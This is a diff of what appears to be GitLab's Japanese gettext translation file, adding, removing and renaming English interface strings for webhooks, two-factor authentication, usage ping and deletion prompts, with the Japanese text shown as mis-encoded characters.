@@ -23996,6 +24664,9 @@ msgstr "プロジェクトã¯ã€èªè¨¼ã«ã‚ˆã‚‰ãšã€èª°ã§ã‚‚アクセスã§ã
msgid "The project can be accessed without any authentication."
msgstr "プロジェクトã¯ã€ãƒ­ã‚°ã‚¤ãƒ³ãªã—ã«èª°ã§ã‚‚アクセスã§ãã¾ã™ã€‚"
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr "プロジェクトã¯ã€ãã®ãƒ—ロジェクトã®ãƒ¡ãƒ³ãƒãƒ¼ã®ã¿ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ã€‚å„ユーザーã«ã‚¢ã‚¯ã‚»ã‚¹æ¨©ã‚’明示的ã«æŒ‡å®šã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr "ãã®åå‰ã®ãƒªãƒã‚¸ãƒˆãƒªã¯ã™ã§ã«ãƒ‡ã‚£ã‚¹ã‚¯ä¸Šã«ã‚ã‚Šã¾ã™"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr "利用ã§ãるデータã¯ã‚ã‚Šã¾ã›ã‚“。é¸æŠžã—ç›´ã—ã¦ãã ã•ã„。"
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,21 +25036,21 @@ msgstr "ラベルã®è³¼èª­ã™ã‚‹ã¨ãã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "There was an error when unsubscribing from this label."
msgstr "ラベルã®è³¼èª­è§£é™¤ã™ã‚‹ã¨ãã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
+msgstr ""
+
msgid "There was an error while fetching value stream analytics data."
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžãƒ‡ãƒ¼ã‚¿ã‚’å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "There was an error while fetching value stream analytics duration data."
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®æœŸé–“データをå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "There was an error while fetching value stream analytics duration median data."
-msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®æœŸé–“中間データをå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
-msgid "There was an error while fetching value stream analytics recent activity data."
-msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®æœ€è¿‘ã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティデータをå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
-msgid "There was an error while fetching value stream analytics time summary data."
-msgstr ""
-
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "reCAPTCHA ã«ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã—ãŸã€‚ reCAPTCHA ã‚’ã‚‚ã†ä¸€åº¦å®Ÿæ–½ã—ã¦ãã ã•ã„。"
@@ -24392,6 +25072,9 @@ msgstr "サードパーティã®ã‚¢ãƒ—リã®ç”³ã—出"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "ã“ã® %{issuableDisplayName} ã¯ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™ã€‚プロジェクトメンãƒãƒ¼ ã ã‘ãŒã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™ã€‚"
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "ã“ã®å‹•ä½œã«ã‚ˆã£ã¦ãƒ‡ãƒ¼ã‚¿ãŒå¤±ã‚れるå¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚çªç™ºçš„ãªäº‹æ…‹ã‚’防ããŸã‚ã«ã€ä¸€åº¦æ“作ã®æ„図を確èªã—ã¦ãã ã•ã„。ãŠé¡˜ã„ã—ã¾ã™ã€‚"
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr "ã“ã‚Œã¯ã‚ãªãŸã®ç¾åœ¨ã®ã‚»ãƒƒã‚·ãƒ§ãƒ³ã§ã™"
-msgid "This issue is confidential"
-msgstr "ã“ã®èª²é¡Œã¯éžå…¬é–‹è¨­å®šã§ã™"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr "ã“ã®èª²é¡Œã¯ç¾åœ¨ã€æ¬¡ã®èª²é¡Œã«ã‚ˆã£ã¦ãƒ–ロックã•ã‚Œã¦ã„ã¾ã™ã€‚: %{issues}"
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "ã“ã®ãƒ—ロジェクトã¯ã¾ã Wikiã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ãŒã‚ã‚Šã¾ã›ã‚“。"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "ã“ã®ãƒ—ロジェクトã§ã¯èª²é‡‘ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã›ã‚“。クラスターを作æˆã™ã‚‹ã«ã¯ã€<a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\"> 課金を有効<i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> ã«ã—ã¦å†åº¦ãŠè©¦ã—ãã ã•ã„。"
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr "ã“ã®ãƒ—ロジェクトã¯ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã•ã‚Œã¦ãŠã‚Šã€ã‚³ãƒ¡ãƒ³ãƒˆã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。"
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ã€æ–°ã—ã作æˆã•ã‚ŒãŸãƒ–ランãƒã‚„既存ã®
msgid "This variable can not be masked."
msgstr "ã“ã®å¤‰æ•°ã¯ãƒžã‚¹ã‚¯ã§ãã¾ã›ã‚“."
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr "SVN リãƒã‚¸ãƒˆãƒªã«æŽ¥ç¶šã™ã‚‹ã¨ãã¯ã€%{svn_link} ã‚’ã”確èªã
msgid "To define internal users, first enable new users set to external"
msgstr "内部ユーザーを定義ã™ã‚‹ãŸã‚ã«ã¯ã€å…ˆã«æ–°è¦ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’外部ユーザーã«è¨­å®šã§ãるよã†ã«ã—ã¾ã™ã€‚"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "ユーザー世代を有効化ã—ã¦è¡¨ç¤ºã™ã‚‹ã«ã¯ã€ %{application_settings_link_start}アプリケーション設定%{application_settings_link_end} ã«ã‚¢ã‚¯ã‚»ã‚¹ã—ã¦ãã ã•ã„"
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr "アカウントをã•ã‚‰ã«ä¿è­·ã™ã‚‹ãŸã‚ã«ã€%{mfa_link_start}2è¦ç´ èªè¨¼%{mfa_link_end}を設定ã™ã‚‹ã“ã¨ã‚’検討ã—ã¦ãã ã•ã„。"
@@ -25288,9 +25968,15 @@ msgstr "ジョブを開始ã™ã‚‹ãŸã‚ã€ãƒ—ロジェクトã«ç‰¹å®šã® Runner ã
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "ロードマップを表示ã™ã‚‹ã«ã¯ã€äºˆå®šé–‹å§‹æ—¥ã‹äºˆå®šçµ‚了日をã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã‹å­ã‚°ãƒ«ãƒ¼ãƒ—ã®ã‚¨ãƒ”ックã®1ã¤ã«è¿½åŠ ã—ã¦ãã ã•ã„。月表示ã§ã¯ã€å‰æœˆã€å½“月ã€ã‚‚ã—ãã¯5ヶ月先ã®ã‚¨ãƒ”ックã®ã¿ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚"
@@ -25312,9 +25998,6 @@ msgstr "Todo ã‚’ 完了ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
msgid "Today"
msgstr "今日"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ":%{name}: 絵文字リアクションをトグル。"
msgid "Toggles :%{name}: emoji award."
msgstr ":%{name}: 絵文字リアクションをトグル。"
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "明日"
@@ -25519,6 +26205,9 @@ msgstr "トリガー"
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "ミラー更新ã®ãŸã‚ã®ã€ãƒ‘イプライントリガー"
@@ -25588,9 +26277,18 @@ msgstr "無効"
msgid "Turn On"
msgstr "有効"
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "サービスデスクを有効ã«ã™ã‚‹"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25606,12 +26304,24 @@ msgstr "2è¦ç´ èªè¨¼"
msgid "Two-factor Authentication Recovery codes"
msgstr "2è¦ç´ èªè¨¼ã®ãƒªã‚«ãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®2è¦ç´ èªè¨¼ãŒç„¡åŠ¹ã«ãªã‚Šã¾ã—ãŸã€‚"
-
msgid "Two-factor authentication"
msgstr "2è¦ç´ èªè¨¼"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "タイプ"
@@ -25792,8 +26502,8 @@ msgstr "アンロック"
msgid "Unlock the discussion"
msgstr "ディスカッションã®ãƒ­ãƒƒã‚¯ã‚’解除ã™ã‚‹"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "%{issuableDisplayName} ã®ãƒ­ãƒƒã‚¯ã‚’解除ã—ã¾ã™ã‹ï¼Ÿ <strong>全員</strong>ãŒã‚³ãƒ¡ãƒ³ãƒˆã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚"
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "未ロック"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr "ã¾ã§"
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "未検証"
@@ -25963,9 +26676,6 @@ msgstr "æ›´æ–°ã—ã¾ã—ãŸ"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "%{updated_by} ã«ã‚ˆã£ã¦%{updated_at} ã«æ›´æ–°"
-msgid "Updated at"
-msgstr "æ›´æ–°"
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,8 +26691,8 @@ msgstr "カナリアデプロイ機能を実行ã§ãるよã†ã«ã™ã‚‹ãŸã‚ã«
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "高度ãªã‚°ãƒ­ãƒ¼ãƒãƒ«æ¤œç´¢ã‚’有効ã«ã™ã‚‹ãŸã‚ã«ãƒ—ランをアップグレードã—ã¾ã™ã€‚"
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr "監査イベントを有効ã«ã™ã‚‹ãŸã‚ã«ã€ãƒ—ランをアップグレード"
@@ -26056,8 +26766,8 @@ msgstr "ã„ã„ã­"
msgid "Usage"
msgstr "使ã„æ–¹"
-msgid "Usage ping is not enabled"
-msgstr "利用状æ³ã®é€ä¿¡ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã›ã‚“"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "使用状æ³ã®çµ±è¨ˆ"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr "%{link_start} スコープã®ãƒ©ãƒ™ãƒ«ã‚»ãƒƒãƒˆ%{link_end} を作æˆã™ã‚‹ã«ã¯ã€ %{code_start}::%{code_end} を使用ã—ã¾ã™ï¼ˆä¾‹ï¼š %{code_start}priority::1%{code_end})。"
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "サービスデスクを使用ã—ã¦ã€GitLab 内ã®ãƒ¡ãƒ¼ãƒ«ã§ãƒ¦ãƒ¼ã‚¶ã¨æŽ¥ç¶šï¼ˆä¾‹ï¼šé¡§å®¢ã‚µãƒãƒ¼ãƒˆï¼‰"
@@ -26200,9 +26907,6 @@ msgstr "ユーザー %{current_user_username} ㌠アカウント%{username} ã®
msgid "User %{username} was successfully removed."
msgstr "ユーザー %{username} を正常ã«å‰Šé™¤ã—ã¾ã—ãŸã€‚"
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "ユーザーコホート㯠%{usage_ping_link_start} 利用状æ³ã®é€ä¿¡ %{usage_ping_link_end} ãŒæœ‰åŠ¹ãªå ´åˆã«ã®ã¿è¡¨ç¤ºã•ã‚Œã¾ã™ã€‚"
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr "次ã®å ´æ‰€ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’è¦æ±‚ã—ã¦ã„るユーザー"
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr "ユーザーを正常ã«è¿½åŠ ã§ãã¾ã—ãŸã€‚"
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr "ゲストロールをæŒã¤ãƒ¦ãƒ¼ã‚¶ã€ã¾ãŸã¯ãƒ—ロジェクトやグループã«å±žã—ã¦ã„ãªã„ユーザã¯ã€ä½¿ç”¨ä¸­ã®ã‚·ãƒ¼ãƒˆã«ã‚«ã‚¦ãƒ³ãƒˆã•ã‚Œã¾ã›ã‚“。"
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr "検証"
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr "GitLab CI構æˆãƒ•ã‚¡ã‚¤ãƒ«ã‚’検証"
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr "設定ã®ç¢ºèª"
msgid "Version"
msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr "文書ã®è¡¨ç¤º"
@@ -26760,6 +27482,9 @@ msgstr "脆弱性"
msgid "Vulnerabilities over time"
msgstr "長期ã«ã‚ãŸã‚‹è„†å¼±æ€§"
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,8 +27689,8 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr "パスワードリセット方法ã«ã¤ã„ã¦ãƒ¡ãƒ¼ãƒ«ã‚’é€ä¿¡ã—ã¾ã—ãŸ"
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
-msgstr "%{expires_on}ã«%{strong}%{namespace_name}%{strong_close}ã¸ã®%{strong}%{plan_name}%{strong_close}サブスクリプションを自動的ã«æ›´æ–°ã—よã†ã¨ã—ã¾ã—ãŸãŒã€å•é¡ŒãŒç™ºç”Ÿã—ãŸãŸã‚ã€ã‚µãƒ–スクリプションã¯ç„¡æ–™ãƒ—ランã«ãƒ€ã‚¦ãƒ³ã‚°ãƒ¬ãƒ¼ãƒ‰ã•ã‚Œã¾ã—ãŸã€‚心é…ã—ãªã„ã§ãã ã•ã„ã€ã‚ãªãŸã®ãƒ‡ãƒ¼ã‚¿ã¯å®‰å…¨ã§ã™ã€‚ãŠæ”¯æ‰•ã„方法を確èªã—ã€ã‚µãƒãƒ¼ãƒˆãƒãƒ¼ãƒ ï¼ˆ%{support_link})ã«é€£çµ¡ã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚彼らã¯ã‚ãªãŸã®ã‚µãƒ–スクリプションã®æ›´æ–°ã‚’喜んã§ãŠæ‰‹ä¼ã„ã—ã¾ã™ã€‚"
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
msgstr "本人確èªã®ãŸã‚ã€ã‚ãªãŸãŒãƒ­ãƒœãƒƒãƒˆã§ãªã„ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
@@ -27012,6 +27734,90 @@ msgstr "Webhookã¯ã€ä¾‹ãˆã°æ–°ã—ã„コードãŒãƒ—ッシュã•ã‚ŒãŸã‚Šã€æ–
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr "Webhook ã¯è¨­å®šãƒ¡ãƒ‹ãƒ¥ãƒ¼ã«ç§»å‹•ã—ã¾ã—ãŸã€‚"
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "水曜日"
@@ -27033,13 +27839,10 @@ msgstr "ãŠã‹ãˆã‚Šãªã•ã„。ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¯åˆ©ç”¨ã•ã‚Œã¦ã„ãªã‹
msgid "Welcome to GitLab"
msgstr "GitLab ã¸ã‚ˆã†ã“ã"
-msgid "Welcome to GitLab %{name}!"
-msgstr "%{name} ã•ã‚“ GitLab ã¸ã‚ˆã†ã“ãï¼"
-
-msgid "Welcome to GitLab, %{first_name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
+msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
msgid "Welcome to the guided GitLab tour"
@@ -27048,6 +27851,9 @@ msgstr ""
msgid "Welcome to your Issue Board!"
msgstr "課題ボードã¸ã‚ˆã†ã“ã"
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr "何を探ã—ã¾ã™ã‹?"
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,11 +28182,11 @@ msgstr "編集ã—ãŸãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ›´æ–°ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "Prometheusサーãƒãƒ¼ã«æŽ¥ç¶šã§ãã¾ã—ãŸãŒã€ç¾åœ¨è¡¨ç¤ºã§ãるデータã¯ã‚ã‚Šã¾ã›ã‚“。"
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "%{group_name} を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—é…下ã®ã‚µãƒ–グループã¨ãƒ—ロジェクトもã™ã¹ã¦å‰Šé™¤ã•ã‚Œã¾ã™ã€‚一度削除ã•ã‚ŒãŸã‚°ãƒ«ãƒ¼ãƒ—を復元ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。本当ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "%{project_full_name} プロジェクトを削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚削除ã•ã‚ŒãŸãƒ—ロジェクトã¯çµ¶å¯¾ã«å…ƒã«ã¯æˆ»ã›ã¾ã›ã‚“ï¼æœ¬å½“ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr "%{project_full_name} プロジェクトã¨ã®ãƒ•ã‚©ãƒ¼ã‚¯ã®é–¢ä¿‚を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚本当ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -27385,6 +28194,12 @@ msgstr "%{project_full_name} プロジェクトã¨ã®ãƒ•ã‚©ãƒ¼ã‚¯ã®é–¢ä¿‚を削
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "%{project_full_name} を別ã®ã‚ªãƒ¼ãƒŠãƒ¼ã«å§”è­²ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚本当ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr "プライマリログインアカウントã®ãƒªãƒ³ã‚¯ã‚’解除ã™ã‚‹ã“
msgid "You are not authorized to perform this action"
msgstr "ã“ã®æ“作を実行ã™ã‚‹æ¨©é™ã‚’ã‚‚ã£ã¦ã„ã¾ã›ã‚“。"
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr "ã‚ãªãŸã¯ %{username} アカウントを代用ã—ã¦ã„ã¾ã™ã€‚"
@@ -27430,9 +28248,6 @@ msgstr "%{lint_link_start}CI Lint%{lint_link_end}㧠%{gitlab_ci_yml} をテスã
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "以下ã®æ‰‹é †ã«ãã£ã¦ã€ã‚ãªãŸã®ã‚³ãƒ³ãƒ”ューター上ã®æ—¢å­˜ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’アップロードã§ãã¾ã™ã€‚"
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,14 +28281,14 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "æ–°ã—ã„メンãƒãƒ¼ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã™ã‚‹ã‹ã€åˆ¥ã®ã‚°ãƒ«ãƒ¼ãƒ—を招待ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
